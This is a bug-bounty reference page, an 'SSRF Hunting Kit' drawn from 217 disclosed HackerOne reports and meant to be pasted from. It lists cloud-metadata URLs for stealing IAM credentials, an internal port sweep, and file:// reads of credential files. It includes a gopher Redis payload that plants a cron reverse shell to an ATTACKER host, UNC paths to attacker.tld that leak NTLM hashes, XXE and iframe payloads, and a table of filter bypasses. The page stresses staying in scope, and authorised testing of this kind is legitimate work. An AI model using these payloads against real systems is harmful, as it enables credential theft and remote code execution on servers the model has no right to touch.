SSRFIntermediate16 min read2026-08-14
LANG:EN|FR

SSRF Hunting Kit

Every parameter name, payload, filter bypass and escalation step for hunting Server-Side Request Forgery — extracted from 217 disclosed HackerOne reports and laid out to paste, not to read.

THE RESEARCH BEHIND THIS KIT
This kit distils the techniques observed across 217 disclosed reports. Read the full analysis
#SSRF#Payloads#Checklist#Cloud Metadata#DNS Rebinding#Filter Bypass#Methodology
HOW TO USE THIS PAGE
Reference sheet, not an article. Sections 1–3 are for the first hour on a target. Section 4 is for when the naive payload gets rejected. Sections 5–7 are for turning a callback into a paid report.
Research behind it: SSRF in the Wild — 217 disclosed reports. Every report number below links to the original.

1. Where It Hides

PARAMETER NAMES — GREP YOUR BURP HISTORY FOR THESE
# Generic URL sinks
url uri src href link target dest destination endpoint location
path host hostname domain site page addr address server

# Fetch / import / mirror
import_url fetch_url load_url source_url remote_url origin_url
download_url file_url media_url attachment_url document_url
remote_attachment_url   # GitLab #826361 — $10,000, highest in the dataset
imageUrl image_url icon_url avatar_url logo_url thumbnail_url
preview_url og_url unfurl link_preview embed_url oembed

# Callback / integration surfaces (23 reports in the dataset)
callback callback_url webhook webhook_url notify_url hook
postback_url return_url notification_endpoint sink_url
smtpHost sieveHost imapHost   # Nextcloud filed five reports through these
ldap_url ldap_host proxy proxy_url upstream backend_url
sso_url metadata_url jwks_uri issuer well_known_url

# Redirect-flavoured params that reach a server-side fetcher
next redirect redirect_uri redir return continue forward
out view show data feed rss xml_feed

# Cloud / infra config fields
s3_endpoint bucket_endpoint region_endpoint registry_url
api_base base_url instance_url tenant_url git_url repo_url

FEATURES THAT FETCH (NO URL PARAM VISIBLE)

  • • PDF / report export — headless Chrome, wkhtmltopdf, Puppeteer. HackerOne's own #2262382 was an iframe in an analytics template. CVSS 10.0.
  • • SVG upload — <image href>, <use>, external CSS. Shopify #223203.
  • • Any XML/DOCX/XLSX/SVG parser — XXE is SSRF with extra steps. Uber #448598.
  • • Video / image transcode — FFmpeg HLS playlists. TikTok #1062888.
  • • Markdown renderers, HTML sanitisers, link unfurlers, favicon fetchers.
  • • "Test connection" buttons on every integration settings page.

HEADERS AND NON-BODY VECTORS

  • X-Forwarded-Host, X-Forwarded-Server, Host — routed proxies and cache warmers.
  • Referer — analytics backends that re-fetch the referring page.
  • X-Original-URL / X-Rewrite-URL — Nginx and Symfony front controllers.
  • Forwarded, X-Api-Version pointing at a schema URL.
  • • OpenAPI / GraphQL schema-stitching URLs, MCP tool arguments (#3176157).
  • • Windows targets: UNC paths in any path field leak NTLM (#2585385).

2. The Hunting Checklist

FIRST PROBE TO CONFIRMED IMPACT

STEP 1 — MAP THE SINKS
Do: crawl authenticated, then grep the proxy history for the section 1 list. Enumerate every settings page with a "test" button.
Tool: Burp Suite history filter, gau + gf ssrf, ParamSpider.
Positive: a parameter whose value is echoed back as fetched content, or a 5xx that differs from a bad-value 400.
STEP 2 — PROVE THE SERVER DIALS OUT
Do: point every candidate at a unique OOB subdomain so you know which parameter fired.
Tool: Burp Collaborator, interactsh-client, ngrok.
Positive: an HTTP hit, not just DNS. Record the source IP — if it is a cloud egress range, not the app's public IP, you are inside the VPC.
STEP 3 — DECIDE BLIND OR FULL-READ
Do: serve a distinctive body from your OOB host and check whether it comes back in the response, a generated PDF, an error message or a stored preview.
Tool: a static file on your own box.
Positive: your marker string is rendered anywhere. Full-read is 8 of 217 reports and the highest-severity band — stop and go straight to step 5.
STEP 4 — SCHEME AND REDIRECT SURFACE
Do: test file://, gopher://, dict://, ftp://, ldap://, then a 302 from your host to 169.254.169.254.
Tool: a one-line redirector; Gopherus for protocol smuggling.
Positive: the redirect is followed. Client libraries validate the first URL and follow hops blind — Kubernetes #1544133.
STEP 5 — REACH SOMETHING THAT MATTERS
Do: metadata first, then the internal port sweep from section 3.
Tool: ffuf against the vulnerable parameter with a port wordlist; watch response length and time.
Positive: a body you were never meant to see, or a clean split between connection-refused and connect-then-timeout.
STEP 6 — BYPASS, THEN ESCALATE
Do: if step 5 was blocked, work the section 4 table in order — encodings are cheap, rebinding is expensive.
Tool: a rebinding host (rbndr.us, 1u.ms), nip.io for static mapping.
Positive: defeating a deployed control is its own finding — 22 of 217 reports did exactly that, including two against Stripe's purpose-built Smokescreen proxy.

3. Payload Cheatsheet

CLOUD METADATA — EVERY PROVIDER
# AWS IMDSv1 — no auth, the whole ballgame. Enumerate the role name first.
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-from-previous-line>
http://169.254.169.254/latest/user-data/            # bootstrap scripts, often hardcoded secrets
http://169.254.169.254/latest/dynamic/instance-identity/document
http://[fd00:ec2::254]/latest/meta-data/            # IPv6 IMDS — frequently missed by IPv4-only blocklists

# AWS ECS / Fargate task role — different IP, different path
http://169.254.170.2/v2/credentials/                # append the UUID from $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
http://169.254.170.2/v2/metadata

# GCP — v1 needs "Metadata-Flavor: Google". v1beta1 historically did not.
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
http://169.254.169.254/computeMetadata/v1/project/project-id

# Azure — needs "Metadata: true"
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# Others
http://100.100.100.200/latest/meta-data/            # Alibaba Cloud — inside CGNAT, rarely blocklisted
http://169.254.169.254/metadata/v1.json             # DigitalOcean
http://169.254.169.254/opc/v1/instance/             # Oracle OCI (v2 requires Bearer Oracle)
http://169.254.169.254/openstack/latest/meta_data.json
INTERNAL PORT SWEEP — ORDERED BY PAYOFF
# Unauthenticated-by-default services. Hitting these is instant high severity.
http://127.0.0.1:2375/version          # Docker API — no auth by default, RCE via container create
http://127.0.0.1:6379/                 # Redis — see gopher payload below
http://127.0.0.1:9200/_cat/indices     # Elasticsearch — full index dump
http://127.0.0.1:8500/v1/kv/?recurse   # Consul KV — secrets store
http://127.0.0.1:2379/v2/keys/?recursive=true   # etcd — Kubernetes cluster state
http://127.0.0.1:10250/pods            # kubelet read-only / run endpoint
http://127.0.0.1:11211/                # memcached
http://127.0.0.1:27017/                # MongoDB

# Usually authenticated, but worth reading the banner
http://127.0.0.1:8200/v1/sys/health    # Vault
http://127.0.0.1:3000/                 # Grafana — GitLab #878779 read an internal Grafana this way
http://127.0.0.1:9090/api/v1/targets   # Prometheus — leaks the whole internal service map
http://127.0.0.1:5601/api/status       # Kibana
http://127.0.0.1:15672/api/overview    # RabbitMQ management
http://127.0.0.1:8080/  :8000  :8888  :9000  :4444  :7001  # app/admin panels

# Alternate loopback spellings, in case 127.0.0.1 is string-matched
http://localhost/  http://127.1/  http://0/  http://[::]/  http://[::1]/
http://0.0.0.0:6379/

# Kubernetes in-cluster (the SA token is on disk, not here — pair with file://)
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
NON-HTTP SCHEMES AND PROTOCOL SMUGGLING
# file:// — try these before assuming the scheme is blocked
file:///etc/passwd
file:///proc/self/environ                    # env vars: DB creds, API keys, AWS_* variables
file:///proc/self/cwd/.env
file:///proc/net/tcp                         # listening ports in hex — a free internal port scan
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///root/.aws/credentials
file://\/\/etc/passwd                        # slash-mangling bypass for naive scheme filters
netdoc:///etc/passwd                         # Java-specific alias for file://

# gopher:// — arbitrary TCP bytes. This is what turns SSRF into RCE.
# Redis: write a cron entry. %0d%0a is CRLF; each command is RESP-encoded.
gopher://127.0.0.1:6379/_%2A1%0d%0a%248%0d%0aflushall%0d%0a%2A3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2A64%0d%0a%0a%0a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2F4444%200%3E%261%0a%0a%0d%0a%2A4%0d%0a%243%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2A10%0d%0a%2Fvar%2Fspool%2Fcron%0d%0a

# dict:// — cheap banner grab, works where gopher is stripped
dict://127.0.0.1:6379/info
dict://127.0.0.1:11211/stats

# Windows: UNC path leaks the service account NTLM hash to your SMB listener
\\attacker.tld\share\x           # Apache CVE-2024-38472 / #2585385
//attacker.tld/share/x

# XXE-as-SSRF, for any XML/SVG/DOCX intake
<!DOCTYPE r [<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/">]><r>&x;</r>

# HTML injected into a server-side PDF/screenshot renderer
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width=1000 height=1000>
<img src="http://169.254.169.254/latest/user-data/">
<link rel=stylesheet href="http://127.0.0.1:8500/v1/kv/?recurse">

4. Filter and Control Bypasses

Work this table top-down: the cheap string tricks first, rebinding last. Each row links a report where the technique defeated a control the target had actually deployed.

| Technique | Payload | Why it works | |---|---|---| | IPv6-mapped IPv4 | http://[::ffff:169.254.169.254]/#2301565 | The validator parses an IPv6 literal and never compares it against IPv4 deny ranges; the socket connects to v4 anyway. | | Decimal / octal / hex | http://2130706433/ http://0177.0.0.1/ http://0x7f000001/ | inet_aton() accepts all four notations. Regex-based checks only ever match dotted-quad. | | Short-form loopback | http://127.1/ http://0/ http://[::]/ | Missing octets are zero-filled at connect time. 0 resolves to 0.0.0.0, which the kernel routes to localhost. | | Trailing dot | http://metadata.google.internal./#1410214 | The FQDN root label is stripped by the resolver but not by the string comparison. Defeated Stripe's Smokescreen deny_list. | | Double brackets | http://[[::1]]/#1580495 | Second Smokescreen bypass. The proxy's parser and the HTTP client disagree on where the host ends. | | Hostname truncation | 256+ char host ending in 0x00007f000001#2429894 | libuv truncated the name to a fixed buffer, so the validated string and the resolved string were different. $4,860. | | Credential-host confusion | http://expected-cdn.com@169.254.169.254/ | Everything before @ is userinfo. Naive parsers read it as the host; the client reads what follows. | | Fragment / null truncation | http://169.254.169.254#@expected-cdn.com http://169.254.169.254%00@cdn.com | Parser disagreement on where the authority terminates — the class Orange Tsai built a career on. | | Protocol-relative | //169.254.169.254/latest/meta-data/ | Skips a scheme allowlist entirely; the client inherits the caller's scheme. | | Wildcard DNS mapping | http://169.254.169.254.nip.io/ http://make-127-0-0-1.1u.ms/ | The name looks external and public. Resolution returns the embedded internal IP. Beats hostname allowlists, not resolved-IP checks. | | Open redirect chain | http://target.com/out?to=http://169.254.169.254/#1544133 | The first URL passes validation; the 30X hop is followed unvalidated. Chain the target's own open redirect and even domain allowlists fall. | | DNS rebinding | rbndr.us / 1u.ms host with TTL 0 — #1369312, #2115212, #3176157 | Two lookups: the check-time one returns a public IP, the connect-time one returns 127.0.0.1. Beats every resolve-then-fetch validator that doesn't pin the IP. | | Case and Unicode host mangling | http://METADATA.google.INTERNAL/ http://169。254。169。254/ | Case-sensitive string compares miss the first. The ideographic full stop is normalised to . by browser-grade URL parsers — relevant for headless-Chrome renderers. | | Alphanumeric IP forms | See #1702864 | Non-numeric spellings of an address slip past validation that assumes an IP is digits and dots. Paid $250 against Nextcloud. |

5. Escalation Ladder

FROM CALLBACK TO CHEQUE — CLIMB AS FAR AS SCOPE ALLOWS

PHASE 1: OUT-OF-BAND CALLBACK — LOW / INFORMATIVE
DNS and HTTP hit from a server-controlled IP. On its own this is where the 36 low and 6 no-severity reports in the dataset live. Capture the source IP and the User-Agent — the UA names the fetcher (wkhtmltopdf, Go-http-client, python-requests) and tells you which parser bugs to try next. Do not report and stop here.
PHASE 2: INTERNAL REACH — MEDIUM
Show a measurable difference between an open and a closed internal port, or reach an internal hostname that resolves only inside the VPC. 8x8 #1875484 was exactly this — the program retired the whole API path. Blind SSRF is 35 of 217 reports; internal reach is what separates it from noise.
PHASE 3: RESPONSE EXFILTRATION — HIGH
Get an internal response body out — rendered in a PDF, stored in a preview, reflected in an error, or leaked one bit at a time through timing. GitLab #878779 read an internal Grafana; Lark #1409727 paid $5,000 for full read through document import.
PHASE 4: CREDENTIAL THEFT — CRITICAL
IMDS role credentials, a GCP service-account token, or a Vault/Consul secret. Prove the credential is live with a single read-only call — aws sts get-caller-identity, redacted in the report — and then stop. HackerOne #2262382 is the reference: iframe into a PDF template, CVSSv3 10.0.
PHASE 5: CODE EXECUTION — CEILING
Docker API on 2375, Redis via gopher, kubelet exec, or an internal CI runner. Shopify #341876 went metadata → IAM → root on every container in an infrastructure subset and was paid as an RCE equivalent. Describe the path, get written permission before executing anything on shared infrastructure.

6. Report-Writing Notes

INCLUDE, OR GET DOWNGRADED

  • • The raw request and response, as text you can copy — not only a screenshot.
  • • The OOB interaction log with timestamps and the source IP. Tie it to the request that caused it.
  • • Proof the fetcher is server-side: the source IP is not yours, and the request arrives with no browser headers.
  • • The internal response body, or the timing table for open vs closed ports if the bug is blind.
  • • Instance ID / hostname / role name from the metadata document — this names the affected asset for the defender.
  • • One redacted sts get-caller-identity if you reached credentials. Nothing beyond it.
  • • A remediation line: allowlist plus DNS pinning plus IMDSv2, not "block 169.254.169.254".

CALIBRATE THE SEVERITY YOU ASK FOR

Across the 217 disclosed reports, 34.6% landed medium and 16.6% low; only 41.5% were rated high or critical. The split is almost entirely about what the reporter demonstrated, not how exotic the payload was.
The median disclosed award is $1,000, and 22 of the 51 reports carrying a figure were medium severity. Asking for critical on a DNS-only callback is the fastest route to an informative close.
Two things reliably move the rating: a response body the app was never meant to expose, and a credential that still works. Everything else is argument.
Defeating a deployed control is a separate finding. 22 reports in the dataset did this. Say so explicitly in the title — triage grades a bypass of an existing mitigation more harshly than a greenfield bug.

7. Known Dead Ends

LOOKS LIKE A BUG, PAYS LIKE NOTHING

A bare DNS callback. "The server resolved my domain" is a feature of every link-preview and webhook product on earth. Without internal reach it closes informative. Get the HTTP hit, then get somewhere it should not go.
User-configurable webhooks that only reach the internet. Reaching your own listener from a webhook is the documented behaviour. The finding starts when the destination is internal and the control that was supposed to stop that fails.
IMDSv2-enforced targets. Plain URL SSRF cannot set X-aws-ec2-metadata-token-ttl-seconds on a PUT. If you only control a URL, you are not stealing those credentials — you need header control (gopher, CRLF injection) or a full browser-grade fetcher. Do not claim credential theft you cannot show.
Empty 200s from 169.254.169.254. A blank body is not proof of anything, and modern egress proxies return exactly that. Show a field from the metadata document or you have shown nothing.
Timing-only port scans on busy production hosts. Jitter on a loaded box swamps the connect-refused signal. Repeat each port at least five times and report the distribution, or skip the claim.
127.0.0.1 on a serverless or per-request container. Loopback is your own sandbox with nothing listening. Pivot to the VPC CIDR, the service-discovery names (, , ) and the metadata IP instead.
Client-side fetches. If the request comes from the victim's browser it is CSRF or a CORS issue, not SSRF. Check the source IP before writing the title.
Admin-only integration settings. SMTP/IMAP/LDAP host fields are real SSRF sinks and they do get paid — the Nextcloud cluster in the dataset came through exactly these — but they price low because they need admin. #1702864 paid $250. Budget your time accordingly.
Rebinding against a validator that resolves once. Rebinding needs two lookups. If the app resolves and connects to the pinned IP, no TTL trick helps — check the behaviour before burning an afternoon on DNS infrastructure.
Vendor-owned SaaS endpoints. Reaching a third party's infrastructure through the target is usually out of scope on both programs. Confirm the source IP belongs to the target before reporting.

Report numbers, severity distribution and bounty figures on this page are drawn from the 217 disclosed HackerOne SSRF reports analysed in the companion case study. Test only against targets whose program scope permits it.

[SHARE_THIS_POST]
Help spread knowledge in the cybersecurity community